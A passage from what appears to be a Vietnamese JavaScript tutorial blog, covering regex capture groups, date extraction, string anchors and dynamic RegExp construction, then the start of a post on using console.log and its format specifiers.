0, input: "bad"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">(\d)+</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"123"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["123", "3", index: 0, input: "123"]</span></code></pre></div> <p>Đặc biệt nếu một group có nhiều thành phần trùng khớp thì chỉ lấy thành phần trùng khớp cuối cùng. Trong ví dụ trên, group <strong>(\d)</strong> có 3 thành phần trùng khớp là <strong>1</strong>, <strong>2</strong>, <strong>3</strong>. Nhưng chỉ thành phần trùng khớp cuối cùng là <strong>3</strong> xuất hiện trong kết quả.</p> <h4 id="trích-xuất-dữ-liệu-từ-string" style="position:relative;"><a href="#tr%C3%ADch-xu%E1%BA%A5t-d%E1%BB%AF-li%E1%BB%87u-t%E1%BB%AB-string" aria-label="trích xuất dữ liệu từ string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Trích xuất dữ liệu từ string</h4> <p>Phương thức này đặc biệt hữu ích khi bạn muốn lấy thông tin ra từ string.</p> <p>Ví dụ sau đưa ra một string biểu diễn ngày, tháng, năm. Sau đó chúng ta sẽ trích xuất ra thông tin về ngày, tháng và năm ở trong đó:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token parameter">string</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> dateTime <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">(\d{1,2})-(\d{1,2})-(\d{4})</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> <span class="token keyword">var</span> match <span class="token operator">=</span> dateTime<span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">day</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">month</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">year</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token string">"30-1-2003"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Object {day: "30", month: "1", year: "2003"}</span></code></pre></div> <h4 id="ranh-giới-của-string" style="position:relative;"><a href="#ranh-gi%E1%BB%9Bi-c%E1%BB%A7a-string" aria-label="ranh giới của string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ranh giới của string</h4> <p>Trong ví dụ trên, hàm findDate vẫn tìm ra kết quả nếu như string là "30-1-200300" hay "1130-1-2003",... Đây là trường hợp không mong muốn.</p> <p>Regular Expression JavaScript cung cấp 2 cách để giải quyết vấn đề này:</p> <ul> <li>Sử dụng kí tự biểu diễn bắt đầu (^) và kết thúc ($) string</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token parameter">string</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> dateTime <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(\d{1,2})-(\d{1,2})-(\d{4})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> <span class="token keyword">var</span> match <span class="token operator">=</span> dateTime<span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>match<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">day</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">month</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">year</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">var</span> obj1 <span class="token operator">=</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token string">"30-1-2003"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Object {day: "30", month: "1", year: "2003"}</span> <span class="token keyword">var</span> obj2 <span class="token operator">=</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token string">"0030-1-200300"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => null</span> <span class="token keyword">var</span> obj3 <span class="token operator">=</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token string">"Hello 30-1-2003 Haha"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => null</span></code></pre></div> <ul> <li>Sử dụng kí tự biên (\b)</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token parameter">string</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> dateTime <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\b(\d{1,2})-(\d{1,2})-(\d{4})\b</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> <span class="token keyword">var</span> match <span class="token operator">=</span> dateTime<span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>match<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">day</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">month</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token literal-property property">year</span><span class="token operator">:</span> match<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">var</span> obj1 <span class="token operator">=</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token string">"30-1-2003"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Object {day: "30", month: "1", year: "2003"}</span> <span class="token keyword">var</span> obj2 <span class="token operator">=</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token string">"0030-1-200300"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => null</span> <span class="token keyword">var</span> obj3 <span class="token operator">=</span> <span class="token function">findDate</span><span class="token punctuation">(</span><span class="token string">"Hello 30-1-2003 Haha"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Object {day: "30", month: "1", year: "2003"}</span></code></pre></div> <h2 id="tạo-đối-tượng-regexp-javascript-một-cách-linh-động" style="position:relative;"><a href="#t%E1%BA%A1o-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-regexp-javascript-m%E1%BB%99t-c%C3%A1ch-linh-%C4%91%E1%BB%99ng" aria-label="tạo đối tượng regexp javascript một cách linh động permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo đối tượng RegExp JavaScript một cách linh động</h2> <p>Trong nhiều trường hợp, bạn muốn tạo ra một Regular Expression với nội dung chưa được biết trước. Bạn có thể sử dụng hàm khởi tạo của RegExp theo cách sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> name <span class="token operator">=</span> <span class="token string">"lampv"</span><span class="token punctuation">;</span> <span class="token keyword">var</span> text <span class="token operator">=</span> <span class="token string">"LamPV is a suspicious character."</span><span class="token punctuation">;</span> <span class="token keyword">var</span> regexp <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token string">"\\b("</span> <span class="token operator">+</span> name <span class="token operator">+</span> <span class="token string">")\\b"</span><span class="token punctuation">,</span> <span class="token string">"gi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span>regexp<span class="token punctuation">,</span> <span class="token string">"_$1_"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => _LamPV_ is a suspicious character.</span></code></pre></div> <p>Trong đó:</p> <ul> <li>tham số g: chỉ ra rằng khuôn mẫu áp dụng Global, nghĩa là nó áp dụng cho tất cả thành phần trùng khớp.</li> <li>tham số i: chỉ ra rằng khuôn mẫu không phân biệt chữ hoa và chữ thường.</li> </ul> <p>Ngoài ra, ở đây mình có sử dụng phương thức <em>replace</em> của <a href="/kieu-du-lieu-trong-javascript/">string</a> - dùng để thay thế tất cả những thành phần trùng khớp với khuôn mẫu với "<em>$1</em>".</p> <p>Ở đây $1 chính là nội dung của group thứ nhất.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là một số kiến thức cơ bản về Regular Expression. Hy vọng qua bài viết này bạn phần nào hiểu và biết cách sử dụng Regex JavaScript.</p> <p>Tóm tắt một số khuôn mẫu cơ bản của Regex trong JavaScript:</p> <ul> <li>/abc/ : chuỗi các kí tự <em>abc</em></li> <li>/[abc]: bất kỳ kí tự nào thuộc tập hợp a, b, c</li> <li>/[^abc]: bất kỳ kí tự nào không thuộc tập a, b, c</li> <li>/[0-9]/: bất kỳ kí tự nào thuộc đoạn từ 0 đến 9</li> <li>/x+/: thành phần x xuất hiện >= 1 lần</li> <li>/x*/: thành phần x xuất hiện >= 0 lần (có thể không xuất hiện)</li> <li>/x?/: thành phần x xuất hiện 0 hoặc 1 lần</li> <li>/x{2, 4}/: thành phần x xuất hiện từ 2 đến 4 lần</li> <li>/(abc)/: cụm <em>abc</em></li> <li>/a|b|c/: bất kì pattern nào trong 3 loại a, b, c</li> <li>/\d/: chữ số từ 0 đến 9</li> <li>/\w/: chữ cái</li> <li>/\s/: kí tự trắng (dấu cách, tab, dòng mới,...)</li> <li>/./ : bất kỳ kí tự nào trừ dòng mới</li> <li>/\b/: ranh giới từ</li> <li>/^/: bắt đầu string</li> <li>/$/: kết thúc string</li> </ul> <p>Xin chào và hẹn gặp lại bạn ở <a href="/co-ban-ve-dom-javascript/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="http://eloquentjavascript.net/09_regexp.html">Regular Expressions</a></li> <li>Bài thực hành của mình: <a href="https://github.com/completejavascript/practical-javascript/blob/master/regular_expression/regexp_golf_completejavascript.com.js">Regexp Golf</a>, <a href="https://github.com/completejavascript/practical-javascript/blob/master/regular_expression/quoting_style_completejavascript.com.js">Quoting style</a>, <a href="https://github.com/completejavascript/practical-javascript/blob/master/regular_expression/numbers_again_completejavascript.com.js">Numbers again</a>.</li> </ul>[email protected]<![CDATA[Một số thủ thuật sử dụng console hiệu quả]]><![CDATA[Có thể nói, sử dụng console.log để debug, kiểm tra lỗi là việc thường xuyên đối với hầu hết các lập trình viên JavaScript. Tuy nhiên, không phải ai cũng thực sự biết cách sử dụng…]]>https://completejavascript.com/thu-thuat-su-dung-console-hieu-qua/https://completejavascript.com/thu-thuat-su-dung-console-hieu-qua/<![CDATA[Console]]><![CDATA[Debug]]>Fri, 28 Jul 2017 23:00:42 GMT<p>Có thể nói, sử dụng <strong>console.log</strong> để <a href="/debug-javascript-de-hay-kho/">debug</a>, kiểm tra lỗi là việc thường xuyên đối với hầu hết các lập trình viên JavaScript. Tuy nhiên, không phải ai cũng thực sự biết cách sử dụng công cụ này. Vì vậy, bài viết này mình sẽ chia sẻ với bạn một số thủ thuật sử dụng console hiệu quả mà mình mới học được. Mời bạn theo dõi bài viết!</p> <h2 id="sử-dụng-consolelog" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-consolelog" aria-label="sử dụng consolelog permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng console.log</h2> <h3 id="cú-pháp-consolelog" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-consolelog" aria-label="cú pháp consolelog permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp console.log</h3> <p><strong>Console.log</strong> là hàm cơ bản nhất mà hầu như lập trình viên nào cũng dùng. Và hàm này có 2 cách sử dụng cơ bản như sau.</p> <h4 id="cách-1" style="position:relative;"><a href="#c%C3%A1ch-1" aria-label="cách 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 1</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj1 <span class="token punctuation">[</span><span class="token punctuation">,</span> obj2<span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">,</span> objN<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đối với cách 1, bạn liệt kê các giá trị, <a href="/object-la-gi-object-trong-javascript/">object</a> cách nhau bởi dấu phẩy, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> foo <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">const</span> bar <span class="token operator">=</span> <span class="token string">"bar"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baz <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>foo<span class="token punctuation">,</span> bar<span class="token punctuation">,</span> baz<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 1 "bar" {name: "John", age: "30", gender: "male"}</span></code></pre></div> <p>Theo mình đây là cách cơ bản mà hầu như lập trình viên nào cũng sử dụng. Bởi vì, cách này khá đơn giản và nhanh gọn.</p> <h4 id="cách-2" style="position:relative;"><a href="#c%C3%A1ch-2" aria-label="cách 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách 2</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>msg <span class="token punctuation">[</span><span class="token punctuation">,</span> subst1<span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">,</span> substN<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đối với cách 2, bạn hiển thị <a href="/kieu-du-lieu-trong-javascript/">string</a> cùng với các tham số truyền vào. Mình chưa biết nói sao cho chuẩn. Tuy nhiên, nó khá giống với việc sử dụng hàm <strong>printf()</strong> trong lập trình C, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> foo <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">const</span> bar <span class="token operator">=</span> <span class="token string">"bar"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baz <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Log: %d, %s and %o"</span><span class="token punctuation">,</span> foo<span class="token punctuation">,</span> bar<span class="token punctuation">,</span> baz<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Log: 1, bar and {name: "John", age: "30", gender: "male"}</span></code></pre></div> <p>Trong đó, phần string hiển thị có 3 tham số cần truyền vào ứng với <strong>%d</strong>, <strong>%s</strong> và <strong>%o</strong>. Và giá trị của nó sẽ được lấy từ 3 thành phần tiếp theo, cách nhau bởi dấu phẩy.</p> <p><strong>Chú ý:</strong></p> <ul> <li><strong>%o</strong> hoặc <strong>%O</strong>: đại diện cho Object</li> <li><strong>%d</strong> hoặc <strong>%i</strong>: đại diện cho số nguyên</li> <li><strong>%f</strong>: đại diện cho số thực</li> <li><strong>%s</strong>: đại diện cho string</li> </ul> <p>Bạn cần sử dụng ký tự đại diện sao cho đúng với kiểu dữ bạn muốn hiển thị. Ngược lại, bạn sẽ thu được kết quả hiển thị không như mong muốn, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> foo <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">const</span> bar <span class="token operator">=</span> <span class="token string">"bar"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baz <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Log: %d, %s and %s"</span><span class="token punctuation">,</span> foo<span class="token punctuation">,</span> bar<span class="token punctuation">,</span> baz<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Log: 1, bar and Object</span></code></pre></div> <p>Trong ví dụ trên, mặc dù tham số thứ 3 bạn truyền vào là một object. Và bạn cũng muốn hiển thị đầy đủ nội dung của object. Tuy nhiên, nếu bạn sử dụng <strong>%s</strong> thì kết quả thu được sẽ chỉ là một string "Object".</p> <p>Cách này mình cũng mới biết, vì thực tế chưa sử dụng nó bao giờ. Theo mình thấy cách này không phổ biến, bởi lẽ nó khá lằng nhằng. Và bạn phải ghi nhớ kí tự đại diện nào thì tương ứng với kiểu dữ liệu nào.</p> <h3 id="sử-dụng-consolelog-hiệu-quả" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-consolelog-hi%E1%BB%87u-qu%E1%BA%A3" aria-label="sử dụng consolelog hiệu quả permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng console.log hiệu quả</h3> <p>Trên đây, mình nhắc lại 2 cú pháp cơ bản sử dụng console.log rồi. Quay lại với chủ đề chính của bài viết hôm nay là làm sao sử dụng console.log cho hiệu quả.</p> <p>Hãy thử xem ví dụ về cách sử dụng console.log sau đây:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> foo <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"26"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> bar <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Jenifer"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"18"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"female"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> baz <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"30"</span><span class="token punctuation">,</span> <span class="token literal-property property">gender</span><span class="token operator">:</span> <span class="token string">"male"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>foo<span class="token punctuation">,</span> bar<span class="token punctuation">,</span> baz<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * {name: "Alex", age: "26", gender: "male"} * {name: "Jenifer", age: "18", gender: "female"} * {name: "John", age: "30", gender: "male"} 